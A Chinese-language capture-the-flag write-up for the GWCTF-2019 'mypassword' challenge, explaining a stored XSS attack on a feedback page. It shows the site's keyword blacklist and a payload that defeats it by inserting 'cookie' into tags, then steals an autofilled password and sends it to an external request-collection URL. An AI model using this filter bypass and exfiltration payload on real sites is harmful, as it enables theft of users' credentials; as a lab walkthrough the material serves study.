GWCTF-2019 mypassword

查看源代码发现login.js文件

if (document.cookie && document.cookie != '') {
    var cookies = document.cookie.split('; ');
    var cookie = {};
    for (var i = 0; i < cookies.length; i++) {
        var arr = cookies[i].split('=');
        var key = arr[0];
        cookie[key] = arr[1];
    }
    if(typeof(cookie['user']) != "undefined" && typeof(cookie['psw']) != "undefined"){
        document.getElementsByName("username")[0].value = cookie['user'];
        document.getElementsByName("password")[0].value = cookie['psw'];
    }
}

文件有保存密码的功能

注册进入Feedback.PHP发现反馈界面,输入内容list.PHP便有显示

看到Feedback.PHP界面是个反馈界面,可以大致猜测该题为xss。传入反馈信息,等待后端bot查看,返回数据。

查看Feedback.PHP源码发现有过滤

if(is_array($Feedback)){
                echo "<script>alert('反馈不合法');</script>";
                return false;
            }
            $blacklist = ['_','\'','&','\\','#','%','input','script','iframe','host','onload','onerror','srcdoc','location','svg','form','img','src','getElement','document','cookie'];
            foreach ($blacklist as $val) {
                while(true){
                    if(stripos($Feedback,$val) !== false){
                        $Feedback = str_ireplace($val,"",$Feedback);
                    }else{
                        break;
                    }
                }
            }

可以看到黑名单中只要出现cookie前面的内容,都会被过滤掉。所以这里就用添加cookie的方式要过绕过。

提交如下代码,构造登陆框。

<incookieput type="text" name="username" />
<incookieput type="password" name="password" />
<sccookieript scookierc="./js/login.js"></sccookieript>
<sccookieript>
    psw = docookiecument.gecookietElementsByName("password")[0].value;
    docookiecument.locookiecation = "http://http.requestbin.buuoj.cn/z18ihzz1/psw=" + psw;
</sccookieript>

等待bot点开,收flag就好了。

images

提示:该做题环境位于buuctf,此环境不能访问外网。所以要用内网提供的环境来收flag

内网资源

相关文章

统一支付是JSAPI/NATIVE/APP各种支付场景下生成支付订单,返...
统一支付是JSAPI/NATIVE/APP各种支付场景下生成支付订单,返...
前言 之前做了微信登录,所以总结一下微信授权登录并获取用户...
FastAdmin是我第一个接触的后台管理系统框架。FastAdmin是一...
之前公司需要一个内部的通讯软件,就叫我做一个。通讯软件嘛...
统一支付是JSAPI/NATIVE/APP各种支付场景下生成支付订单,返...